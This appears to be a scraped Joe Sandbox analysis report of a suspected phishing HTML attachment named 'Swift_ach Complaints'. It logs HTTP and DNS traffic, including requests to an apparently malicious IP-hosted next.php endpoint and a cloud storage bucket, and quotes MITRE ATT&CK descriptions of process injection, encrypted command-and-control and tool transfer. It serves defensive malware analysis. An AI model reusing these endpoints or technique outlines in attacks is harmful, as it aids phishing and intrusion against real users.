Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BvXoxG2xYpKrKZc&MD=2taWzMF2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BvXoxG2xYpKrKZc&MD=2taWzMF2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /6146851516/next.php HTTP/1.1Host: 185.215.165.89Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6146851516/next.php HTTP/1.1Host: 185.215.165.89Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 6146851516-1323985617.cos.na-ashburn.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Swift_ach Complaints.sppgCQDM.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
Swift_ach Complaints.sppgCQDM.html